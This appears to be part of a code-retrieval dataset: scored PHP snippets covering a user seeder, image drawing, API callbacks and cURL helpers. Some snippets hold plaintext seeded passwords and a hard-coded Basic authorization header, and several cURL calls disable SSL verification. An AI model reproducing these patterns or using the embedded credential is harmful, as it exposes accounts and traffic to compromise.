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';\n // Borramos los datos de la tabla\n DB::table('slb_usuaris')->delete();\n\n // Añadimos una entrada a esta tabla\n User::create(array(\n 'id_usuari' => '1',\n 'cognom1_usuari' => '',\n 'cognom2_usuari' => '',\n 'email_usuari' => '[email protected]',\n 'alias_usuari' => 'Administrador',\n 'contrasenya_usuari' => 'SL_admin-1234',\n 'imatge_usuari' => $image,\n 'id_departament' => '5'\n ));\n User::create(array(\n 'id_usuari' => '2',\n 'cognom1_usuari' => '',\n 'cognom2_usuari' => '',\n 'email_usuari' => '[email protected]',\n 'alias_usuari' => 'test',\n 'contrasenya_usuari' => 'test',\n 'imatge_usuari' => $image,\n 'id_departament' => '1'\n ));\n }", "title": "" }, { "docid": "eac22ae2cc3e004c09406665595a8649", "score": "0.4448947", "text": "public function draw()\n {\n\n imagesetthickness($this->format->getResource(), $this->shape->getBorderWidth());\n\n $color = [0, 0, 0];\n if ($this->shape->has('border.color')) {\n $color = $this->shape->get('border.color');\n }\n\n $color = \\imagecolorallocate($this->format->getResource(), $color[0], $color[1], $color[2]);\n\n \\imagerectangle(\n $this->format->getResource(),\n $this->format->getCurrentXposition(),\n $this->format->getCurrentYposition(),\n $this->format->getCurrentXposition() + $this->shape->get('sideLength'),\n $this->format->getCurrentYposition() + $this->shape->get('sideLength'),\n $color\n );\n }", "title": "" }, { "docid": "7fd9c05bfe356b6df9886cd6297ee393", "score": "0.44311985", "text": "function ct_api_callback() {\n\n\t$nonce \t= $_REQUEST['nonce'];\n\t$post_id \t= $_REQUEST['post_id'];\n\n\t// check nonce\n\tif ( ! wp_verify_nonce( $nonce, 'oxygen-nonce-' . $post_id ) ) {\n\t // This nonce is not valid.\n\t die( 'Security check' ); \n\t}\n\n\t// check user role\n\tif ( ! current_user_can( 'edit_posts' ) ) {\n\t\tdie ( 'Security check' );\n\t}\n\t\n\t// actions allowed to be called from builder\n\t$actions = array( \"get_components\", \"get_pages\", \"update_component\", \"update_page\", \"create_design_set\", \"post_style_sheet\", \"get_style_sheets\" );\n\t$action = $_REQUEST['api_action'];\n\n\tif ( ! in_array( $action, $actions ) ) {\n\t\tdie ( 'Security check' );\t\n\t}\n\n\t$data = file_get_contents('php://input');\n\t\n\t// init API\n\t$ct_api = new CT_API();\n\t$result = $ct_api->$action( json_decode( $data, true ) );\n\n\techo json_encode( $result );\n\n\tdie();\n}", "title": "" }, { "docid": "2bd9acd58af0828f4e956b6d878792f0", "score": "0.4415057", "text": "public function oauth_url();", "title": "" }, { "docid": "0226a107c3b7feb706afb67a76c04e54", "score": "0.4412349", "text": "abstract public function preWithDraw(array $params);", "title": "" }, { "docid": "81d4475dbdd772ef575195f668c0503a", "score": "0.44111776", "text": "function call($path,$qs=''){\n global $host,$secure,$appid,$token;\n \n if($secure) $site=\"https://\".$host;\n else $site=\"http://\".$host;\n if(!empty($appid)) $qs.='&appid='.$appid;\n if(!empty($token)) $qs.='&token='.$token;\n $url=$site.$path.\"?\".$qs;\n\n #echo \"Calling $url\\n\";\n $opts = array(\n CURLOPT_URL =>$url,\n CURLOPT_HEADER => 0,\n CURLOPT_RETURNTRANSFER => TRUE,\n CURLOPT_TIMEOUT => 50,\n CURLOPT_SSL_VERIFYPEER => FALSE,\n CURLOPT_SSL_VERIFYHOST => FALSE\n );\n\n $ch = curl_init();\n curl_setopt_array($ch,$opts);\n if( ! $result = curl_exec($ch))\n {\n return curl_error($ch).' at '.$url;\n }\n curl_close($ch);\n\n $res=json_decode($result,1);\n\n return $res;\n}", "title": "" }, { "docid": "f5c842d23b2b9e7acbe922e4ab62b4e6", "score": "0.4406994", "text": "public function drawCircle($x, $y, $radius)\n {\n echo \"API2.circle at { $x , $y} radius $radius <br>\";\n }", "title": "" }, { "docid": "026c2663eb2b128c75ee8dd22d406d21", "score": "0.44060922", "text": "protected function _draw_finish ()\n {\n }", "title": "" }, { "docid": "5b786eb0158d164284a81f9d8edecd65", "score": "0.44054335", "text": "public function draw()\n {\n echo \"Shape:Rectangle<br>\";\n }", "title": "" }, { "docid": "05622566ea4fabb3697e3c6fdec1be3b", "score": "0.44047952", "text": "public function API()\r\n\t{\r\n\t\t\r\n\t}", "title": "" }, { "docid": "4f25e54490fd6441def1f4cfc2448d42", "score": "0.4387965", "text": "public function draw()\n {\n echo '我画正方形。';\n }", "title": "" }, { "docid": "e4f96397fcffa9ddd1f4db3960bb8230", "score": "0.43865317", "text": "function fth_add_demographics_to_recipient($data, $curlUrlPath, $httpMethod)\n{\n\n // Set up the endpoint and post body\n $dataString = json_encode($data);\n $curl = curl_init('https://api.postup.com/api/recipient' . $curlUrlPath);\n\n // Curl options\n curl_setopt_array($curl, array(\n CURLOPT_CUSTOMREQUEST => $httpMethod,\n CURLOPT_POSTFIELDS => $dataString,\n CURLOPT_RETURNTRANSFER => true,\n CURLOPT_HTTPHEADER => array(\n \"authorization: Basic d2lsbGlhbUB1c3Rlcml4LmNvbTpEOHhhb0tDanh3cHBrM3plKjtLWjZRVHc/\",\n \"cache-control: no-cache\",\n 'Content-Type: application/json',\n 'Content-Length: ' . strlen($dataString)\n )\n ));\n\n // Execute, get the result from Postup and parse it.\n $result = curl_exec($curl);\n curl_close($curl);\n http_response_code(200);\n\n // return a raw JSON result\n return $result;\n}", "title": "" }, { "docid": "06093dbd1d87186cec44ddfef2bcc33b", "score": "0.43814296", "text": "public function getService()\n {\n return 'withDraw';\n }", "title": "" }, { "docid": "6a54aba00fbeff86a8f4c437967a7a16", "score": "0.43798083", "text": "function EA_Request($url){\n\t// Set some basic options to get the best information.\n\t$config = array(\n\t 'adapter' => array(\n\t 'config' => array(\n\t \t'minImageHeight'\t=> 250,\n\t \t'minImageWidth'\t\t=> 250,\n\t 'getBiggerImage' \t=> true,\n\t 'getBiggerIcon' \t=> true,\n\t 'facebookKey' \t\t=> EA_FACEBOOK_KEY,\n\t 'soundcloudKey' \t=> EA_SOUNDCLOUD_KEY,\n\t )\n\t ),\n\t 'providers' => array(\n\t \t'oembed' => array(\n\t \t 'parameters' => array(),\n\t \t\t'embedlyKey' => EA_EMBEDLY_KEY\n\t \t)\n\t ),\n\t\t'resolver' => array(\n\t\t\t'config' => array(\n//\t\t\t\tCURLOPT_SSL_VERIFYPEER => true,\n//\t\t\t\tCURLOPT_SSL_VERIFYHOST => 2,\n\t\t\t\tCURLOPT_USERAGENT => 'Embed PHP Library',\n\t\t\t)\n\t\t)\n\t);\n\t$info = Embed\\Embed::create($url, $config);\n\t$data = array();\n\tif($info){\n\t\t$default = EA_default_images();\n\t\t$data['title'] = $info->title; //The page title\n\t\t$data['description'] = $info->description; //The page description\n\t\t$data['url'] = $info->url; //The canonical url\n\t\t$data['type'] = $info->type; //The page type (link, video, image, rich)\n\n\t\t$data['images'] = $info->images; //List of all images found in the page\n\t\t$data['image'] = $info->image?EA_FormImage($info->image,'main-image'):''; //The image choosen\n\t\t$data['defaultImage'] = EA_FormImage($default['img'], 'main-image'); // Image to use if nothing else\n\t\t$data['imageWidth'] = $info->imageWidth; //The width of the main image\n\t\t$data['imageHeight'] = $info->imageHeight; //The height of the main image\n\n\t\t$data['code'] = $info->code; //The code to embed the image, video, etc\n\t\t$data['width'] = $info->width; //The width of the embed code\n\t\t$data['height'] = $info->height; //The height of the embed code\n\t\t$data['aspectRatio'] = $info->aspectRatio; //The aspect ratio (width/height)\n\n\t\t$data['authorName'] = $info->authorName; //The (video/article/image/whatever) author\n\t\t$data['authorUrl'] = $info->authorUrl; //The author url\n\n\t\t$data['providerName'] = $info->providerName; //The provider name of the page (youtube, twitter, instagram, etc)\n\t\t$data['providerUrl'] = $info->providerUrl; //The provider url\n\t\t$data['providerIcons'] = $info->providerIcons; //All provider icons found in the page\n\t\t$data['providerIcon'] =\n\t\t\tEA_FormImage(\n\t\t\t\t($info->providerIcon?$info->providerIcon:$default['ico']),\n\t\t\t\t'icon',\n\t\t\t\t'height=\"20px\" width=\"20px\"'\n\t\t\t\t); //The icon choosen as main icon\n\n\t\t$data['content'] = EA_Readability($info->request->getContent(), $url); // The content as read by Readability\n\t\t$data['raw_data_do_not_use_in_template'] = array(); // Data for working.\n\t\t/* Changed $info->url to $url. This means the exact url is going to be used as base... */\n\t\t$data['raw_data_do_not_use_in_template']['html'] = EA_LocalizePage($url, $info->request->getContent()); // Raw HTML prepped for thumbnail\n\n\t\tglobal $wgExtensionAssetsPath;\n\t\t$thumb_url = $wgExtensionAssetsPath.'/EmbedAnything/thumbnail.php?data='.urlencode($url);\n\t\t$data['thumb'] = EA_FormImage($thumb_url, 'web-thumb', 'onerror=\"EA_LoadThumb(this);\"');\n// Code to generate thumbnail.\n\t\treturn $data;\n\t}\n\treturn false;\n}", "title": "" }, { "docid": "5b0741bd62724bdfb605cb0757ef76e3", "score": "0.43732947", "text": "function buildRequest()\n{\n $ocpApimSubscriptionKey = '<Subscription Key>';\n\n // You must use the same location in your REST call as you used to obtain\n // your subscription keys. For example, if you obtained your subscription keys\n // from westus, replace \"westcentralus\" in the URL below with \"westus\".\n $uriBase = 'https://westus2.api.cognitive.microsoft.com/vision/v2.0/';\n\n $request = new Http_Request2($uriBase . 'ocr');\n $request->setMethod(HTTP_Request2::METHOD_POST);\n\n $url = $request->getUrl();\n\n $headers = array(\n // Request headers\n 'Content-Type' => 'application/octet-stream',\n 'Ocp-Apim-Subscription-Key' => $ocpApimSubscriptionKey\n );\n $request->setHeader($headers);\n\n $parameters = array(\n // Request parameters\n 'language' => 'unk',\n 'detectOrientation' => 'true'\n );\n $url->setQueryVariables($parameters);\n\n // Request body\n $data = file_get_contents($_FILES['pictures']['tmp_name']);\n $request->setBody($data);\n\n return $request;\n}", "title": "" }, { "docid": "f00f403d6ffc3245b8db9d0b72cc792b", "score": "0.43712813", "text": "function tencentCloudFaceAlive($url, $appid, $authorization)\n{\n $header = array(\n 'Content-Type: application/json',\n \"Host: recognition.image.myqcloud.com\",\n \"Authorization: \" . $authorization\n );\n $data = array(\"appid\" => $appid, \"url\" => $url);\n $ret = curl_post_http(\"http://recognition.image.myqcloud.com/face/livedetectpicture\", $header, $data);\n return $ret;\n}", "title": "" }, { "docid": "8b732b93b7ce7cd6212623e0989d2067", "score": "0.43616134", "text": "public function getCtx ( ) { return new \\_ctx( $this->id . '.Preview' , 'dar', 'dar' ); }", "title": "" }, { "docid": "cb04f1237e0b2aac86a5fae0f773b5d2", "score": "0.4351362", "text": "public function canvasFilesProvider()\n {\n return array(\n array(\n new Canvas(new Dimension(100, 100), Canvas::Format_JPEG),\n $this->getFixture('sky.jpg')\n ),\n array(\n new Canvas(new Dimension(100, 100), Canvas::Format_GIF),\n $this->getFixture('linux.gif')\n ),\n array(\n new Canvas(new Dimension(100, 100), Canvas::Format_PNG),\n $this->getFixture('google.png')\n ),\n array(\n new Canvas(new Dimension(100, 100), Canvas::Format_GD),\n $this->getFixture('gd.gd2')\n )\n );\n }", "title": "" }, { "docid": "159315e564f7b98a76b04472c447dfbb", "score": "0.43416393", "text": "abstract protected function getApi();", "title": "" }, { "docid": "f838cce54459731f53622db6f8c4ff41", "score": "0.43385383", "text": "public function createBigBlueButtonVideoCallAction(Request $request)\n {\n // Figure out what data format to return to the client\n $produces = ['application/json'];\n // Figure out what the client accepts\n $clientAccepts = $request->headers->has('Accept')?$request->headers->get('Accept'):'*/*';\n $responseFormat = $this->getOutputFormat($clientAccepts, $produces);\n if ($responseFormat === null) {\n return new Response('', 406);\n }\n\n // Handle authentication\n\n // Read out all input parameter values into variables\n\n // Use the default value if no value was provided\n\n // Validate the input values\n\n\n try {\n $handler = $this->getApiHandler();\n\n \n // Make the call to the business logic\n $responseCode = 200;\n $responseHeaders = [];\n $result = $handler->createBigBlueButtonVideoCall($responseCode, $responseHeaders);\n\n // Find default response message\n $message = '';\n\n // Find a more specific message, if available\n switch ($responseCode) {\n case 200:\n $message = 'Success.';\n break;\n }\n\n return new Response(\n $result !== null ?$this->serialize($result, $responseFormat):'',\n $responseCode,\n array_merge(\n $responseHeaders,\n [\n 'Content-Type' => $responseFormat,\n 'X-OpenAPI-Message' => $message\n ]\n )\n );\n } catch (Exception $fallthrough) {\n return $this->createErrorResponse(new HttpException(500, 'An unsuspected error occurred.', $fallthrough));\n }\n }", "title": "" }, { "docid": "07b1921b029e3fe4f98f0d5d004df76f", "score": "0.4333588", "text": "function fusedesk_apicall($uri, $args = [], $type = 'GET', $apiVersion = 1)\n{\n if(!get_option('fusedesk_apikey') || !get_option('fusedesk_appname'))\n {\n return false;\n }\n\n $fullUrl = 'https://'.get_option('fusedesk_appname').'.fusedesk.com/api/v'.$apiVersion.'/'.$uri;\n\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $fullUrl);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_HTTPHEADER, ['X-FuseDesk-API-Key: '.get_option('fusedesk_apikey')]);\n\n if($type === 'POST') {\n curl_setopt($ch, CURLOPT_POST, true);\n curl_setopt($ch, CURLOPT_POSTFIELDS, $args);\n } else {\n // If we're making a GET request, append the args to the end of the URL\n curl_setopt($ch, CURLOPT_URL, $fullUrl.'?'.http_build_query($args));\n }\n // Decode our JSON into an object - not an array - since some systems have different defaults\n return json_decode(curl_exec($ch), false);\n}", "title": "" }, { "docid": "91aaa2ab6ae749948fbfc2d446da6e93", "score": "0.43319818", "text": "public function draw()\n {\n echo \"Shape:Circle<br>\";\n }", "title": "" }, { "docid": "da9620c57d6f2b09fb9b4aa8a6eecd04", "score": "0.4328043", "text": "public function preview();", "title": "" }, { "docid": "55a48f86f53a06e7245ccb473a8d506a", "score": "0.43271282", "text": "public function ProcessImgRequest()\r\n {\r\n if ($this->ion_auth->logged_in() && (int)$this->ion_auth->user()->row()->email_template_manager == 1)\r\n\t\t{\r\n \tif ( $this->input->method(TRUE) == \"GET\" )\r\n \t{\r\n \t\t$method = $this->input->get( \"method\" );\r\n \r\n \t\t$params = explode( \",\", $this->input->get( \"params\" ) );\r\n \r\n \t\t$width = (int) $params[ 0 ];\r\n \t\t$height = (int) $params[ 1 ];\r\n \r\n \t\tif ( $method == \"placeholder\" )\r\n \t\t{\r\n \t\t\t$image = new Imagick();\r\n \r\n \t\t\t$image->newImage( $width, $height, \"#707070\" );\r\n \t\t\t$image->setImageFormat( \"png\" );\r\n \r\n \t\t\t$x = 0;\r\n \t\t\t$y = 0;\r\n \t\t\t$size = 40;\r\n \r\n \t\t\t$draw = new ImagickDraw();\r\n \r\n \t\t\twhile ( $y < $height )\r\n \t\t\t{\r\n \t\t\t\t$draw->setFillColor( \"#808080\" );\r\n \r\n \t\t\t\t$points = [\r\n \t\t\t\t\t[ \"x\" => $x, \"y\" => $y ],\r\n \t\t\t\t\t[ \"x\" => $x + $size, \"y\" => $y ],\r\n \t\t\t\t\t[ \"x\" => $x + $size * 2, \"y\" => $y + $size ],\r\n \t\t\t\t\t[ \"x\" => $x + $size * 2, \"y\" => $y + $size * 2 ]\r\n \t\t\t\t];\r\n \r\n \t\t\t\t$draw->polygon( $points );\r\n \r\n \t\t\t\t$points = [\r\n \t\t\t\t\t[ \"x\" => $x, \"y\" => $y + $size ],\r\n \t\t\t\t\t[ \"x\" => $x + $size, \"y\" => $y + $size * 2 ],\r\n \t\t\t\t\t[ \"x\" => $x, \"y\" => $y + $size * 2 ]\r\n \t\t\t\t];\r\n \r\n \t\t\t\t$draw->polygon( $points );\r\n \r\n \t\t\t\t$x += $size * 2;\r\n \r\n \t\t\t\tif ( $x > $width )\r\n \t\t\t\t{\r\n \t\t\t\t\t$x = 0;\r\n \t\t\t\t\t$y += $size * 2;\r\n \t\t\t\t}\r\n \t\t\t}\r\n \r\n \t\t\t$draw->setFillColor( \"#B0B0B0\" );\r\n \t\t\t$draw->setFontSize( $width / 5 );\r\n \t\t\t$draw->setFontWeight( 800 );\r\n \t\t\t$draw->setGravity( Imagick::GRAVITY_CENTER );\r\n \t\t\t$draw->annotation( 0, 0, $width . \" x \" . $height );\r\n \r\n \t\t\t$image->drawImage( $draw );\r\n \r\n \t\t\t$this->output->set_header( \"Content-type: image/png\" );\r\n \r\n \t\t\techo $image;\r\n \t\t}\r\n \t\telse\r\n \t\t{\r\n \t\t\t$file_name = $this->input->get( \"src\" );\r\n \r\n \t\t\t$path_parts = pathinfo( $file_name );\r\n \r\n \t\t\tswitch ( $path_parts[ \"extension\" ] )\r\n \t\t\t{\r\n \t\t\t\tcase \"png\":\r\n \t\t\t\t\t$mime_type = \"image/png\";\r\n \t\t\t\t\tbreak;\r\n \r\n \t\t\t\tcase \"gif\":\r\n \t\t\t\t\t$mime_type = \"image/gif\";\r\n \t\t\t\t\tbreak;\r\n \r\n \t\t\t\tdefault:\r\n \t\t\t\t\t$mime_type = \"image/jpeg\";\r\n \t\t\t\t\tbreak;\r\n \t\t\t}\r\n \r\n \t\t\t$file_name = $path_parts[ \"basename\" ];\r\n \r\n \t\t\t$image = $this->ResizeImage( $file_name, $method, $width, $height );\r\n \r\n \t\t\t$this->output->set_header( \"Content-type: \" . $mime_type );\r\n \r\n \t\t\techo $image;\r\n \t\t}\r\n \t}\r\n\t\t}\r\n \telse {\r\n\t\t\t$this->output->set_status_header(403)->set_content_type('application/json')->set_output( json_encode( array( \"msg\" => \"Please login to continue.\" ), JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES ) );\r\n\t\t}\r\n }", "title": "" }, { "docid": "3144dacfa6610b081681e8cc2deb5b27", "score": "0.43182036", "text": "public function autoGenerateQRCodeImage()//$param)\r\n\t{\t\t\t\t\r\n\t\t$this->load->library('QRcode');\r\n\r\n\t\t//note by Mike, 20191116: object instance, i.e. \"qrcode\", must be lower case\r\n//\t\t$this->qrcode->png('the quick brown');\r\n\t\t$this->qrcode->png($_SESSION['jsonResponses']);\r\n\t\t\r\n\t\t//added by Mike, 20191119\t\t\r\n\t\t//unset($_SESSION['jsonResponses']);\r\n\r\n\t\t//added by Mike, 20191119\r\n\t\t//redirect(base_url()); //Report page\r\n\t}", "title": "" }, { "docid": "63d6ad764201616e887bc3c4769de1bf", "score": "0.4294452", "text": "function render() {\n\t\t$args=func_get_args();\n\t\t$format=$args?array_shift($args):'png';\n\t\tif (PHP_SAPI!='cli') {\n\t\t\theader('Content-Type: image/'.$format);\n\t\t\theader('X-Powered-By: '.Base::instance()->PACKAGE);\n\t\t}\n\t\tcall_user_func_array(\n\t\t\t'image'.$format,\n\t\t\tarray_merge([$this->data,NULL],$args)\n\t\t);\n\t}", "title": "" }, { "docid": "6a65ce39ed197d561833b412d54ec207", "score": "0.42799923", "text": "private function apiConfig(){\n if( $this->current_store_settings['payment']->paypal_enabled ){\n if( $this->current_store_settings['payment']->paypal_client_id\n && $this->current_store_settings['payment']->paypal_client_secret ) {\n $this->apiContext = new \\PayPal\\Rest\\ApiContext(\n new \\PayPal\\Auth\\OAuthTokenCredential(\n $this->current_store_settings['payment']->paypal_client_id,\n $this->current_store_settings['payment']->paypal_client_secret\n )\n );\n }\n }\n }", "title": "" }, { "docid": "cac4380aa2af2c60bf9cd34a02554946", "score": "0.42765665", "text": "function CallAPI($method, $url, $data = false)\r\n{\r\n $curl = curl_init();\r\n\r\n // Optional Authentication:\r\n // curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\r\n // curl_setopt($curl, CURLOPT_USERPWD, \"username:password\");\r\n\t\r\n \r\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\r\n\r\n switch ($method)\r\n {\t\r\n case \"POST\":\r\n curl_setopt($curl, CURLOPT_POST, 1);\r\n\r\n if ($data) curl_setopt($curl, CURLOPT_POSTFIELDS, $data);\r\n break;\r\n case \"PUT\":\t\t\r\n\t\t\tcurl_setopt($curl, CURLOPT_CUSTOMREQUEST, \"PUT\");\r\n\t\t\tcurl_setopt($curl, CURLOPT_POSTFIELDS,http_build_query($data));\r\n break;\r\n\t case \"DELETE\":\t\t\r\n\t\tcurl_setopt($curl, CURLOPT_CUSTOMREQUEST, \"DELETE\");\r\n\r\n\t\tbreak;\r\n default://GET\r\n if ($data)\r\n \t$url = sprintf(\"%s?%s\", $url, http_build_query($data));\t\r\n\t\t\t\r\n }\r\n\techo 'request URL: '.$url.'<br/>';\r\n\t curl_setopt($curl, CURLOPT_URL, $url);\r\n\r\n\t $result = curl_exec($curl);\r\n\t curl_close($curl);\r\n return $result;\r\n}", "title": "" }, { "docid": "33bdd7649d00cc4cdd344463ba1a56ae", "score": 